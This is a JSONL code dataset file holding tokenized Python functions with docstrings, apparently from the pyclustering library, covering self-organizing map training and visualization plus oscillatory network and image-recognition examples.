{"signature": "def __initialize_distances(self, size, location):", "body": "sqrt_distances = [ [ [] for i in range(size) ] for j in range(size) ]<EOL>for i in range(size):<EOL><INDENT>for j in range(i, size, <NUM_LIT:1>):<EOL><INDENT>dist = euclidean_distance_square(location[i], location[j])<EOL>sqrt_distances[i][j] = dist<EOL>sqrt_distances[j][i] = dist<EOL><DEDENT><DEDENT>return sqrt_distances<EOL>", "docstring": "!\n        @brief Initialize distance matrix in SOM grid.\n\n        @param[in] size (uint): Amount of neurons in the network.\n        @param[in] location (list): List of coordinates of each neuron in the network.\n\n        @return (list) Distance matrix between neurons in the network.", "id": "f15666:c3:m11"}
{"signature": "def _create_initial_weights(self, init_type):", "body": "dim_info = dimension_info(self._data)<EOL>step_x = dim_info.get_center()[<NUM_LIT:0>]<EOL>if self._rows > <NUM_LIT:1>: step_x = dim_info.get_width()[<NUM_LIT:0>] / (self._rows - <NUM_LIT:1>);<EOL>step_y = <NUM_LIT:0.0><EOL>if dim_info.get_dimensions() > <NUM_LIT:1>:<EOL><INDENT>step_y = dim_info.get_center()[<NUM_LIT:1>]<EOL>if self._cols > <NUM_LIT:1>: step_y = dim_info.get_width()[<NUM_LIT:1>] / (self._cols - <NUM_LIT:1>);<EOL><DEDENT>random.seed()<EOL>if init_type == type_init.uniform_grid:<EOL><INDENT>self._weights = [ [ [] for i in range(dim_info.get_dimensions()) ] for j in range(self._size)]<EOL>for i in range(self._size):<EOL><INDENT>location = self._location[i]<EOL>for dim in range(dim_info.get_dimensions()):<EOL><INDENT>if dim == <NUM_LIT:0>:<EOL><INDENT>if self._rows > <NUM_LIT:1>:<EOL><INDENT>self._weights[i][dim] = dim_info.get_minimum_coordinate()[dim] + step_x * location[dim]<EOL><DEDENT>else:<EOL><INDENT>self._weights[i][dim] = dim_info.get_center()[dim]<EOL><DEDENT><DEDENT>elif dim == <NUM_LIT:1>:<EOL><INDENT>if self._cols > <NUM_LIT:1>:<EOL><INDENT>self._weights[i][dim] = dim_info.get_minimum_coordinate()[dim] + step_y * location[dim]<EOL><DEDENT>else:<EOL><INDENT>self._weights[i][dim] = dim_info.get_center()[dim]<EOL><DEDENT><DEDENT>else:<EOL><INDENT>self._weights[i][dim] = dim_info.get_center()[dim]<EOL><DEDENT><DEDENT><DEDENT><DEDENT>elif init_type == type_init.random_surface:<EOL><INDENT>self._weights = [[random.uniform(dim_info.get_minimum_coordinate()[i], dim_info.get_maximum_coordinate()[i]) for i in range(dim_info.get_dimensions())] for _ in range(self._size)]<EOL><DEDENT>elif init_type == type_init.random_centroid:<EOL><INDENT>self._weights = [[(random.random() + dim_info.get_center()[i])  for i in range(dim_info.get_dimensions())] for _ in range(self._size)]<EOL><DEDENT>else:<EOL><INDENT>self._weights = [[random.random() for i in range(dim_info.get_dimensions())] for _ in range(self._size)]<EOL><DEDENT>", "docstring": "!\n        @brief Creates initial weights for neurons in line with the specified initialization.\n\n        @param[in] init_type (type_init): Type of initialization of initial neuron weights (random, random in center of the input data, random distributed in data, ditributed in line with uniform grid).", "id": "f15666:c3:m12"}
{"signature": "def _create_connections(self, conn_type):", "body": "self._neighbors = [[] for index in range(self._size)]<EOL>for index in range(<NUM_LIT:0>, self._size, <NUM_LIT:1>):<EOL><INDENT>upper_index = index - self._cols<EOL>upper_left_index = index - self._cols - <NUM_LIT:1><EOL>upper_right_index = index - self._cols + <NUM_LIT:1><EOL>lower_index = index + self._cols<EOL>lower_left_index = index + self._cols - <NUM_LIT:1><EOL>lower_right_index = index + self._cols + <NUM_LIT:1><EOL>left_index = index - <NUM_LIT:1><EOL>right_index = index + <NUM_LIT:1><EOL>node_row_index = math.floor(index / self._cols)<EOL>upper_row_index = node_row_index - <NUM_LIT:1><EOL>lower_row_index = node_row_index + <NUM_LIT:1><EOL>if (conn_type == type_conn.grid_eight) or (conn_type == type_conn.grid_four):<EOL><INDENT>if upper_index >= <NUM_LIT:0>:<EOL><INDENT>self._neighbors[index].append(upper_index)<EOL><DEDENT>if lower_index < self._size:<EOL><INDENT>self._neighbors[index].append(lower_index)<EOL><DEDENT><DEDENT>if (conn_type == type_conn.grid_eight) or (conn_type == type_conn.grid_four) or (conn_type == type_conn.honeycomb):<EOL><INDENT>if (left_index >= <NUM_LIT:0>) and (math.floor(left_index / self._cols) == node_row_index):<EOL><INDENT>self._neighbors[index].append(left_index)<EOL><DEDENT>if (right_index < self._size) and (math.floor(right_index / self._cols) == node_row_index):<EOL><INDENT>self._neighbors[index].append(right_index)<EOL><DEDENT><DEDENT>if conn_type == type_conn.grid_eight:<EOL><INDENT>if (upper_left_index >= <NUM_LIT:0>) and (math.floor(upper_left_index / self._cols) == upper_row_index):<EOL><INDENT>self._neighbors[index].append(upper_left_index)<EOL><DEDENT>if (upper_right_index >= <NUM_LIT:0>) and (math.floor(upper_right_index / self._cols) == upper_row_index):<EOL><INDENT>self._neighbors[index].append(upper_right_index)<EOL><DEDENT>if (lower_left_index < self._size) and (math.floor(lower_left_index / self._cols) == lower_row_index):<EOL><INDENT>self._neighbors[index].append(lower_left_index)<EOL><DEDENT>if (lower_right_index < self._size) and (math.floor(lower_right_index / self._cols) == lower_row_index):<EOL><INDENT>self._neighbors[index].append(lower_right_index)<EOL><DEDENT><DEDENT>if conn_type == type_conn.honeycomb:<EOL><INDENT>if (node_row_index % <NUM_LIT:2>) == <NUM_LIT:0>:<EOL><INDENT>upper_left_index = index - self._cols<EOL>upper_right_index = index - self._cols + <NUM_LIT:1><EOL>lower_left_index = index + self._cols<EOL>lower_right_index = index + self._cols + <NUM_LIT:1><EOL><DEDENT>else:<EOL><INDENT>upper_left_index = index - self._cols - <NUM_LIT:1><EOL>upper_right_index = index - self._cols<EOL>lower_left_index = index + self._cols - <NUM_LIT:1><EOL>lower_right_index = index + self._cols<EOL><DEDENT>if (upper_left_index >= <NUM_LIT:0>) and (math.floor(upper_left_index / self._cols) == upper_row_index):<EOL><INDENT>self._neighbors[index].append(upper_left_index)<EOL><DEDENT>if (upper_right_index >= <NUM_LIT:0>) and (math.floor(upper_right_index / self._cols) == upper_row_index):<EOL><INDENT>self._neighbors[index].append(upper_right_index)<EOL><DEDENT>if (lower_left_index < self._size) and (math.floor(lower_left_index / self._cols) == lower_row_index):<EOL><INDENT>self._neighbors[index].append(lower_left_index)<EOL><DEDENT>if (lower_right_index < self._size) and (math.floor(lower_right_index / self._cols) == lower_row_index):<EOL><INDENT>self._neighbors[index].append(lower_right_index)<EOL><DEDENT><DEDENT><DEDENT>", "docstring": "!\n        @brief Create connections in line with input rule (grid four, grid eight, honeycomb, function neighbour).\n\n        @param[in] conn_type (type_conn): Type of connection between oscillators in the network.", "id": "f15666:c3:m13"}
{"signature": "def _competition(self, x):", "body": "index = <NUM_LIT:0><EOL>minimum = euclidean_distance_square(self._weights[<NUM_LIT:0>], x)<EOL>for i in range(<NUM_LIT:1>, self._size, <NUM_LIT:1>):<EOL><INDENT>candidate = euclidean_distance_square(self._weights[i], x)<EOL>if candidate < minimum:<EOL><INDENT>index = i<EOL>minimum = candidate<EOL><DEDENT><DEDENT>return index<EOL>", "docstring": "!\n        @brief Calculates neuron winner (distance, neuron index).\n\n        @param[in] x (list): Input pattern from the input data set, for example it can be coordinates of point.\n\n        @return (uint) Returns index of neuron that is winner.", "id": "f15666:c3:m14"}
{"signature": "def _adaptation(self, index, x):", "body": "dimension = len(self._weights[<NUM_LIT:0>])<EOL>if self._conn_type == type_conn.func_neighbor:<EOL><INDENT>for neuron_index in range(self._size):<EOL><INDENT>distance = self._sqrt_distances[index][neuron_index]<EOL>if distance < self._local_radius:<EOL><INDENT>influence = math.exp(-(distance / (<NUM_LIT> * self._local_radius)))<EOL>for i in range(dimension):<EOL><INDENT>self._weights[neuron_index][i] = self._weights[neuron_index][i] + self._learn_rate * influence * (x[i] - self._weights[neuron_index][i])<EOL><DEDENT><DEDENT><DEDENT><DEDENT>else:<EOL><INDENT>for i in range(dimension):<EOL><INDENT>self._weights[index][i] = self._weights[index][i] + self._learn_rate * (x[i] - self._weights[index][i])<EOL><DEDENT>for neighbor_index in self._neighbors[index]: <EOL><INDENT>distance = self._sqrt_distances[index][neighbor_index]<EOL>if distance < self._local_radius:<EOL><INDENT>influence = math.exp(-(distance / (<NUM_LIT> * self._local_radius)))<EOL>for i in range(dimension):       <EOL><INDENT>self._weights[neighbor_index][i] = self._weights[neighbor_index][i] + self._learn_rate * influence * (x[i] - self._weights[neighbor_index][i])<EOL><DEDENT><DEDENT><DEDENT><DEDENT>", "docstring": "!\n        @brief Change weight of neurons in line with won neuron.\n\n        @param[in] index (uint): Index of neuron-winner.\n        @param[in] x (list): Input pattern from the input data set.", "id": "f15666:c3:m15"}
{"signature": "def train(self, data, epochs, autostop=False):", "body": "self._data = data<EOL>if self.__ccore_som_pointer is not None:<EOL><INDENT>return wrapper.som_train(self.__ccore_som_pointer, data, epochs, autostop)<EOL><DEDENT>self._sqrt_distances = self.__initialize_distances(self._size, self._location)<EOL>for i in range(self._size):<EOL><INDENT>self._award[i] = <NUM_LIT:0><EOL>self._capture_objects[i].clear()<EOL><DEDENT>self._create_initial_weights(self._params.init_type)<EOL>previous_weights = None<EOL>for epoch in range(<NUM_LIT:1>, epochs + <NUM_LIT:1>):<EOL><INDENT>self._local_radius = (self._params.init_radius * math.exp(-(epoch / epochs))) ** <NUM_LIT:2><EOL>self._learn_rate = self._params.init_learn_rate * math.exp(-(epoch / epochs))<EOL>if autostop:<EOL><INDENT>for i in range(self._size):<EOL><INDENT>self._award[i] = <NUM_LIT:0><EOL>self._capture_objects[i].clear()<EOL><DEDENT><DEDENT>for i in range(len(self._data)):<EOL><INDENT>index = self._competition(self._data[i])<EOL>self._adaptation(index, self._data[i])<EOL>if (autostop == True) or (epoch == epochs):<EOL><INDENT>self._award[index] += <NUM_LIT:1><EOL>self._capture_objects[index].append(i)<EOL><DEDENT><DEDENT>if autostop:<EOL><INDENT>if previous_weights is not None:<EOL><INDENT>maximal_adaptation = self._get_maximal_adaptation(previous_weights)<EOL>if maximal_adaptation < self._params.adaptation_threshold:<EOL><INDENT>return epoch<EOL><DEDENT><DEDENT>previous_weights = [item[:] for item in self._weights]<EOL><DEDENT><DEDENT>return epochs<EOL>", "docstring": "!\n        @brief Trains self-organized feature map (SOM).\n\n        @param[in] data (list): Input data - list of points where each point is represented by list of features, for example coordinates.\n        @param[in] epochs (uint): Number of epochs for training.        \n        @param[in] autostop (bool): Automatic termination of learining process when adaptation is not occurred.\n\n        @return (uint) Number of learining iterations.", "id": "f15666:c3:m16"}
{"signature": "def simulate(self, input_pattern):", "body": "if self.__ccore_som_pointer is not None:<EOL><INDENT>return wrapper.som_simulate(self.__ccore_som_pointer, input_pattern)<EOL><DEDENT>return self._competition(input_pattern)<EOL>", "docstring": "!\n        @brief Processes input pattern (no learining) and returns index of neuron-winner.\n               Using index of neuron winner catched object can be obtained using property capture_objects.\n\n        @param[in] input_pattern (list): Input pattern.\n\n        @return (uint) Returns index of neuron-winner.\n\n        @see capture_objects", "id": "f15666:c3:m17"}
{"signature": "def _get_maximal_adaptation(self, previous_weights):", "body": "dimension = len(self._data[<NUM_LIT:0>])<EOL>maximal_adaptation = <NUM_LIT:0.0><EOL>for neuron_index in range(self._size):<EOL><INDENT>for dim in range(dimension):<EOL><INDENT>current_adaptation = previous_weights[neuron_index][dim] - self._weights[neuron_index][dim]<EOL>if current_adaptation < <NUM_LIT:0>:<EOL><INDENT>current_adaptation = -current_adaptation<EOL><DEDENT>if maximal_adaptation < current_adaptation:<EOL><INDENT>maximal_adaptation = current_adaptation<EOL><DEDENT><DEDENT><DEDENT>return maximal_adaptation<EOL>", "docstring": "!\n        @brief Calculates maximum changes of weight in line with comparison between previous weights and current weights.\n\n        @param[in] previous_weights (list): Weights from the previous step of learning process.\n\n        @return (double) Value that represents maximum changes of weight after adaptation process.", "id": "f15666:c3:m18"}
{"signature": "def get_winner_number(self):", "body": "if self.__ccore_som_pointer is not None:<EOL><INDENT>self._award = wrapper.som_get_awards(self.__ccore_som_pointer)<EOL><DEDENT>winner_number = <NUM_LIT:0><EOL>for i in range(self._size):<EOL><INDENT>if self._award[i] > <NUM_LIT:0>:<EOL><INDENT>winner_number += <NUM_LIT:1><EOL><DEDENT><DEDENT>return winner_number<EOL>", "docstring": "!\n        @brief Calculates number of winner at the last step of learning process.\n\n        @return (uint) Number of winner.", "id": "f15666:c3:m19"}
{"signature": "def show_distance_matrix(self):", "body": "distance_matrix = self.get_distance_matrix()<EOL>plt.imshow(distance_matrix, cmap = plt.get_cmap('<STR_LIT>'), interpolation='<STR_LIT>')<EOL>plt.title(\"<STR_LIT>\")<EOL>plt.colorbar()<EOL>plt.show()<EOL>", "docstring": "!\n        @brief Shows gray visualization of U-matrix (distance matrix).\n\n        @see get_distance_matrix()", "id": "f15666:c3:m20"}
{"signature": "def get_distance_matrix(self):", "body": "if self.__ccore_som_pointer is not None:<EOL><INDENT>self._weights = wrapper.som_get_weights(self.__ccore_som_pointer)<EOL>if self._conn_type != type_conn.func_neighbor:<EOL><INDENT>self._neighbors = wrapper.som_get_neighbors(self.__ccore_som_pointer)<EOL><DEDENT><DEDENT>distance_matrix = [[<NUM_LIT:0.0>] * self._cols for i in range(self._rows)]<EOL>for i in range(self._rows):<EOL><INDENT>for j in range(self._cols):<EOL><INDENT>neuron_index = i * self._cols + j<EOL>if self._conn_type == type_conn.func_neighbor:<EOL><INDENT>self._create_connections(type_conn.grid_eight)<EOL><DEDENT>for neighbor_index in self._neighbors[neuron_index]:<EOL><INDENT>distance_matrix[i][j] += euclidean_distance_square(self._weights[neuron_index], self._weights[neighbor_index])<EOL><DEDENT>distance_matrix[i][j] /= len(self._neighbors[neuron_index])<EOL><DEDENT><DEDENT>return distance_matrix<EOL>", "docstring": "!\n        @brief Calculates distance matrix (U-matrix).\n        @details The U-Matrix visualizes based on the distance in input space between a weight vector and its neighbors on map.\n\n        @return (list) Distance matrix (U-matrix).\n\n        @see show_distance_matrix()\n        @see get_density_matrix()", "id": "f15666:c3:m21"}
{"signature": "def show_density_matrix(self, surface_divider = <NUM_LIT>):", "body": "density_matrix = self.get_density_matrix(surface_divider)<EOL>plt.imshow(density_matrix, cmap = plt.get_cmap('<STR_LIT>'), interpolation='<STR_LIT>')<EOL>plt.title(\"<STR_LIT>\")<EOL>plt.colorbar()<EOL>plt.show()<EOL>", "docstring": "!\n        @brief Show density matrix (P-matrix) using kernel density estimation.\n\n        @param[in] surface_divider (double): Divider in each dimension that affect radius for density measurement.\n\n        @see show_distance_matrix()", "id": "f15666:c3:m22"}
{"signature": "def get_density_matrix(self, surface_divider = <NUM_LIT>):", "body": "if self.__ccore_som_pointer is not None:<EOL><INDENT>self._weights = wrapper.som_get_weights(self.__ccore_som_pointer)<EOL><DEDENT>density_matrix = [[<NUM_LIT:0>] * self._cols for i in range(self._rows)]<EOL>dimension = len(self._weights[<NUM_LIT:0>])<EOL>dim_max = [ float('<STR_LIT>') ] * dimension<EOL>dim_min = [ float('<STR_LIT>') ] * dimension<EOL>for weight in self._weights:<EOL><INDENT>for index_dim in range(dimension):<EOL><INDENT>if weight[index_dim] > dim_max[index_dim]:<EOL><INDENT>dim_max[index_dim] = weight[index_dim]<EOL><DEDENT>if weight[index_dim] < dim_min[index_dim]:<EOL><INDENT>dim_min[index_dim] = weight[index_dim]<EOL><DEDENT><DEDENT><DEDENT>radius = [<NUM_LIT:0.0>] * len(self._weights[<NUM_LIT:0>])<EOL>for index_dim in range(dimension):<EOL><INDENT>radius[index_dim] = ( dim_max[index_dim] - dim_min[index_dim] ) / surface_divider<EOL><DEDENT>for point in self._data:<EOL><INDENT>for index_neuron in range(len(self)):<EOL><INDENT>point_covered = True<EOL>for index_dim in range(dimension):<EOL><INDENT>if abs(point[index_dim] - self._weights[index_neuron][index_dim]) > radius[index_dim]:<EOL><INDENT>point_covered = False<EOL>break<EOL><DEDENT><DEDENT>row = int(math.floor(index_neuron / self._cols))<EOL>col = index_neuron - row * self._cols<EOL>if point_covered is True:<EOL><INDENT>density_matrix[row][col] += <NUM_LIT:1><EOL><DEDENT><DEDENT><DEDENT>return density_matrix<EOL>", "docstring": "!\n        @brief Calculates density matrix (P-Matrix).\n\n        @param[in] surface_divider (double): Divider in each dimension that affect radius for density measurement.\n\n        @return (list) Density matrix (P-Matrix).\n\n        @see get_distance_matrix()", "id": "f15666:c3:m23"}
{"signature": "def show_winner_matrix(self):", "body": "if self.__ccore_som_pointer is not None:<EOL><INDENT>self._award = wrapper.som_get_awards(self.__ccore_som_pointer)<EOL><DEDENT>(fig, ax) = plt.subplots()<EOL>winner_matrix = [[<NUM_LIT:0>] * self._cols for i in range(self._rows)]<EOL>for i in range(self._rows):<EOL><INDENT>for j in range(self._cols):<EOL><INDENT>neuron_index = i * self._cols + j<EOL>winner_matrix[i][j] = self._award[neuron_index]<EOL>ax.text(i, j, str(winner_matrix[i][j]), va='<STR_LIT>', ha='<STR_LIT>')<EOL><DEDENT><DEDENT>ax.imshow(winner_matrix, cmap = plt.get_cmap('<STR_LIT>'), interpolation='<STR_LIT:none>')<EOL>ax.grid(True)<EOL>plt.title(\"<STR_LIT>\")<EOL>plt.show()<EOL>", "docstring": "!\n        @brief Show winner matrix where each element corresponds to neuron and value represents\n               amount of won objects from input dataspace at the last training iteration.\n\n        @see show_distance_matrix()", "id": "f15666:c3:m24"}
{"signature": "def show_network(self, awards = False, belongs = False, coupling = True, dataset = True, marker_type = '<STR_LIT:o>'):", "body": "if self.__ccore_som_pointer is not None:<EOL><INDENT>self._size = wrapper.som_get_size(self.__ccore_som_pointer)<EOL>self._weights = wrapper.som_get_weights(self.__ccore_som_pointer)<EOL>self._neighbors = wrapper.som_get_neighbors(self.__ccore_som_pointer)<EOL>self._award = wrapper.som_get_awards(self.__ccore_som_pointer)<EOL><DEDENT>dimension = len(self._weights[<NUM_LIT:0>])<EOL>fig = plt.figure()<EOL>if (dimension == <NUM_LIT:1>) or (dimension == <NUM_LIT:2>):<EOL><INDENT>axes = fig.add_subplot(<NUM_LIT>)<EOL><DEDENT>elif dimension == <NUM_LIT:3>:<EOL><INDENT>axes = fig.gca(projection='<STR_LIT>')<EOL><DEDENT>else:<EOL><INDENT>raise NotImplementedError('<STR_LIT>')<EOL><DEDENT>if (self._data is not None) and (dataset is True):<EOL><INDENT>for x in self._data:<EOL><INDENT>if dimension == <NUM_LIT:1>:<EOL><INDENT>axes.plot(x[<NUM_LIT:0>], <NUM_LIT:0.0>, '<STR_LIT>', ms = <NUM_LIT:30>)<EOL><DEDENT>elif dimension == <NUM_LIT:2>:<EOL><INDENT>axes.plot(x[<NUM_LIT:0>], x[<NUM_LIT:1>], '<STR_LIT>')<EOL><DEDENT>elif dimension == <NUM_LIT:3>:<EOL><INDENT>axes.scatter(x[<NUM_LIT:0>], x[<NUM_LIT:1>], x[<NUM_LIT:2>], c = '<STR_LIT:b>', marker = '<STR_LIT:.>')<EOL><DEDENT><DEDENT><DEDENT>for index in range(self._size):<EOL><INDENT>color = '<STR_LIT:g>'<EOL>if self._award[index] == <NUM_LIT:0>:<EOL><INDENT>color = '<STR_LIT:y>'<EOL><DEDENT>if dimension == <NUM_LIT:1>:<EOL><INDENT>axes.plot(self._weights[index][<NUM_LIT:0>], <NUM_LIT:0.0>, color + marker_type)<EOL>if awards:<EOL><INDENT>location = '<STR_LIT>'.format(self._award[index])<EOL>axes.text(self._weights[index][<NUM_LIT:0>], <NUM_LIT:0.0>, location, color='<STR_LIT>', fontsize = <NUM_LIT:10>)<EOL><DEDENT>if belongs and self._data is not None:<EOL><INDENT>location = '<STR_LIT>'.format(index)<EOL>axes.text(self._weights[index][<NUM_LIT:0>], <NUM_LIT:0.0>, location, color='<STR_LIT>', fontsize = <NUM_LIT:12>)<EOL>for k in range(len(self._capture_objects[index])):<EOL><INDENT>point = self._data[self._capture_objects[index][k]]<EOL>axes.text(point[<NUM_LIT:0>], <NUM_LIT:0.0>, location, color='<STR_LIT>', fontsize = <NUM_LIT:10>)<EOL><DEDENT><DEDENT><DEDENT>if dimension == <NUM_LIT:2>:<EOL><INDENT>axes.plot(self._weights[index][<NUM_LIT:0>], self._weights[index][<NUM_LIT:1>], color + marker_type)<EOL>if awards:<EOL><INDENT>location = '<STR_LIT>'.format(self._award[index])<EOL>axes.text(self._weights[index][<NUM_LIT:0>], self._weights[index][<NUM_LIT:1>], location, color='<STR_LIT>', fontsize=<NUM_LIT:10>)<EOL><DEDENT>if belongs and self._data is not None:<EOL><INDENT>location = '<STR_LIT>'.format(index)<EOL>axes.text(self._weights[index][<NUM_LIT:0>], self._weights[index][<NUM_LIT:1>], location, color='<STR_LIT>', fontsize=<NUM_LIT:12>)<EOL>for k in range(len(self._capture_objects[index])):<EOL><INDENT>point = self._data[self._capture_objects[index][k]]<EOL>axes.text(point[<NUM_LIT:0>], point[<NUM_LIT:1>], location, color='<STR_LIT>', fontsize=<NUM_LIT:10>)<EOL><DEDENT><DEDENT>if (self._conn_type != type_conn.func_neighbor) and (coupling != False):<EOL><INDENT>for neighbor in self._neighbors[index]:<EOL><INDENT>if neighbor > index:<EOL><INDENT>axes.plot([self._weights[index][<NUM_LIT:0>], self._weights[neighbor][<NUM_LIT:0>]],<EOL>[self._weights[index][<NUM_LIT:1>], self._weights[neighbor][<NUM_LIT:1>]],<EOL>'<STR_LIT:g>', linewidth=<NUM_LIT:0.5>)<EOL><DEDENT><DEDENT><DEDENT><DEDENT>elif dimension == <NUM_LIT:3>:<EOL><INDENT>axes.scatter(self._weights[index][<NUM_LIT:0>], self._weights[index][<NUM_LIT:1>], self._weights[index][<NUM_LIT:2>], c=color, marker=marker_type)<EOL>if (self._conn_type != type_conn.func_neighbor) and (coupling != False):<EOL><INDENT>for neighbor in self._neighbors[index]:<EOL><INDENT>if neighbor > index:<EOL><INDENT>axes.plot([self._weights[index][<NUM_LIT:0>], self._weights[neighbor][<NUM_LIT:0>]],<EOL>[self._weights[index][<NUM_LIT:1>], self._weights[neighbor][<NUM_LIT:1>]],<EOL>[self._weights[index][<NUM_LIT:2>], self._weights[neighbor][<NUM_LIT:2>]],<EOL>'<STR_LIT>', linewidth=<NUM_LIT:0.5>)<EOL><DEDENT><DEDENT><DEDENT><DEDENT><DEDENT>plt.title(\"<STR_LIT>\")<EOL>plt.grid()<EOL>plt.show()<EOL>", "docstring": "!\n        @brief Shows neurons in the dimension of data.\n\n        @param[in] awards (bool): If True - displays how many objects won each neuron.\n        @param[in] belongs (bool): If True - marks each won object by according index of neuron-winner (only when dataset is displayed too).\n        @param[in] coupling (bool): If True - displays connections between neurons (except case when function neighbor is used).\n        @param[in] dataset (bool): If True - displays inputs data set.\n        @param[in] marker_type (string): Defines marker that is used for dispaying neurons in the network.", "id": "f15666:c3:m25"}
{"signature": "def segmentation_image_simple1():", "body": "parameters = legion_parameters();<EOL>parameters.eps = <NUM_LIT>;<EOL>parameters.alpha = <NUM_LIT>;<EOL>parameters.betta = <NUM_LIT:0.1>;<EOL>parameters.gamma = <NUM_LIT>;<EOL>parameters.teta = <NUM_LIT>;<EOL>parameters.lamda = <NUM_LIT:0.1>;<EOL>parameters.teta_x = -<NUM_LIT:0.5>;<EOL>parameters.teta_p = <NUM_LIT>;<EOL>parameters.Wz = <NUM_LIT>;<EOL>parameters.mu = <NUM_LIT>;<EOL>parameters.fi = <NUM_LIT>;<EOL>parameters.teta_xz = <NUM_LIT:0.1>;<EOL>parameters.teta_zx = <NUM_LIT:0.1>;<EOL>parameters.ENABLE_POTENTIONAL = False;<EOL>template_segmentation_image(IMAGE_SIMPLE_SAMPLES.IMAGE_SIMPLE12, parameters, <NUM_LIT>, <NUM_LIT>, True)<EOL>", "docstring": "Perfect", "id": "f15667:m1"}
{"signature": "def small_mind_image_recognition():", "body": "images = [];<EOL>images += IMAGE_SYMBOL_SAMPLES.LIST_IMAGES_SYMBOL_M;<EOL>images += IMAGE_SYMBOL_SAMPLES.LIST_IMAGES_SYMBOL_I;<EOL>images += IMAGE_SYMBOL_SAMPLES.LIST_IMAGES_SYMBOL_N;<EOL>images += IMAGE_SYMBOL_SAMPLES.LIST_IMAGES_SYMBOL_D;<EOL>template_recognition_image(images, <NUM_LIT:100>, <NUM_LIT:10>, <NUM_LIT>)<EOL>", "docstring": "!\n    @brief Trains network using letters 'M', 'I', 'N', 'D' and recognize each of them with and without noise.", "id": "f15668:m1"}
{"signature": "def small_abc_image_recognition():", "body": "images = [];<EOL>images += IMAGE_SYMBOL_SAMPLES.LIST_IMAGES_SYMBOL_A;<EOL>images += IMAGE_SYMBOL_SAMPLES.LIST_IMAGES_SYMBOL_B;<EOL>images += IMAGE_SYMBOL_SAMPLES.LIST_IMAGES_SYMBOL_C;<EOL>template_recognition_image(images, <NUM_LIT>, <NUM_LIT>)<EOL>", "docstring": "!\n    @brief Trains network using letters 'A', 'B', 'C', and recognize each of them with and without noise.", "id": "f15668:m2"}
{"signature": "def small_ftk_image_recognition():", "body": "images = [];<EOL>images += IMAGE_SYMBOL_SAMPLES.LIST_IMAGES_SYMBOL_F;<EOL>images += IMAGE_SYMBOL_SAMPLES.LIST_IMAGES_SYMBOL_T;<EOL>images += IMAGE_SYMBOL_SAMPLES.LIST_IMAGES_SYMBOL_K;<EOL>template_recognition_image(images, <NUM_LIT:100>, <NUM_LIT:10>, <NUM_LIT>)<EOL>", "docstring": "!\n    @brief Trains network using letters 'F', 'T', 'K' and recognize each of them with and without noise.", "id": "f15668:m3"}
{"signature": "def two_oscillators_sync():", "body": "template_dynamic(<NUM_LIT:2>, -<NUM_LIT:4>, <NUM_LIT:1>, [<NUM_LIT:1>, <NUM_LIT:0>], [<NUM_LIT:1>, <NUM_LIT:1>])<EOL>", "docstring": "Comment: Different initial state - state of sync. will be reached.", "id": "f15669:m3"}
{"signature": "def two_oscillators_desync():", "body": "template_dynamic(<NUM_LIT:2>, -<NUM_LIT:4>, -<NUM_LIT:1>, [<NUM_LIT:1>, <NUM_LIT:0>], [<NUM_LIT:1>, <NUM_LIT:1>])<EOL>", "docstring": "Note: if initial state is the same for both oscillators then desync. will not be exist. It is very important to set different values if desync. is required.", "id": "f15669:m4"}
{"signature": "def five_oscillators_positive_conn():", "body": "template_dynamic(<NUM_LIT:5>, -<NUM_LIT:4>, <NUM_LIT:1>, [<NUM_LIT:1>, <NUM_LIT:0.5>, <NUM_LIT:0>, -<NUM_LIT:0.5>, -<NUM_LIT:1>], [<NUM_LIT:1>, <NUM_LIT:1>, <NUM_LIT:1>, <NUM_LIT:1>, <NUM_LIT:1>]);<EOL>template_dynamic(<NUM_LIT:5>, -<NUM_LIT:4>, <NUM_LIT:1>, [<NUM_LIT:1>, <NUM_LIT>, <NUM_LIT>, <NUM_LIT>, <NUM_LIT>], [-<NUM_LIT:1>, -<NUM_LIT:1>, -<NUM_LIT:1>, -<NUM_LIT:1>, -<NUM_LIT:1>])<EOL>", "docstring": "Note: Oscillations are dead in this case (sync. should be in ideal case)", "id": "f15669:m5"}
{"signature": "def five_oscillators_negative_conn():", "body": "template_dynamic(<NUM_LIT:5>, -<NUM_LIT:4>, -<NUM_LIT:1>, [<NUM_LIT:1>, <NUM_LIT:0.5>, <NUM_LIT:0>, -<NUM_LIT:0.5>, -<NUM_LIT:1>], [<NUM_LIT:1>, <NUM_LIT:1>, <NUM_LIT:1>, <NUM_LIT:1>, <NUM_LIT:1>])<EOL>", "docstring": "Comment: Full desync.", "id": "f15669:m6"}
{"signature": "def negative_connection_10_oscillators():", "body": "template_dynamic_sync(<NUM_LIT:10>, -<NUM_LIT:3>)<EOL>", "docstring": "Comment: It is not full desynchronization", "id": "f15672:m9"}
{"signature": "def negative_connection_9_grid_struct():", "body": "_ = template_dynamic_sync(<NUM_LIT:9>, -<NUM_LIT:2>, conn = conn_type.GRID_FOUR)<EOL>", "docstring": "Comment: Right coloring", "id": "f15672:m10"}
{"signature": "def negative_connection_16_grid_struct():", "body": "_ = template_dynamic_sync(<NUM_LIT:16>, -<NUM_LIT:3>, conn = conn_type.GRID_FOUR)<EOL>", "docstring": "Comment: Wrong coloring", "id": "f15672:m11"}
{"signature": "def thirteen_oscillator_three_stimulated_ensembles_list():", "body": "\"<STR_LIT>\"<EOL>parameters = legion_parameters();<EOL>parameters.Wt = <NUM_LIT>;<EOL>parameters.fi = <NUM_LIT>;<EOL>template_dynamic_legion(<NUM_LIT:15>, <NUM_LIT:1000>, <NUM_LIT:1000>, conn_type = conn_type.LIST_BIDIR, stimulus = [<NUM_LIT:1>, <NUM_LIT:1>, <NUM_LIT:1>, <NUM_LIT:0>, <NUM_LIT:0>, <NUM_LIT:0>, <NUM_LIT:1>, <NUM_LIT:1>, <NUM_LIT:1>, <NUM_LIT:0>, <NUM_LIT:0>, <NUM_LIT:1>, <NUM_LIT:1>, <NUM_LIT:1>, <NUM_LIT:1>], params = parameters, separate_repr = [ [<NUM_LIT:0>, <NUM_LIT:1>, <NUM_LIT:2>], [<NUM_LIT:3>, <NUM_LIT:4>, <NUM_LIT:5>, <NUM_LIT:9>, <NUM_LIT:10>], [<NUM_LIT:6>, <NUM_LIT:7>, <NUM_LIT:8>], [<NUM_LIT:11>, <NUM_LIT:12>, <NUM_LIT>, <NUM_LIT>] ])<EOL>", "docstring": "Good example of three synchronous ensembels", "id": "f15675:m8"}
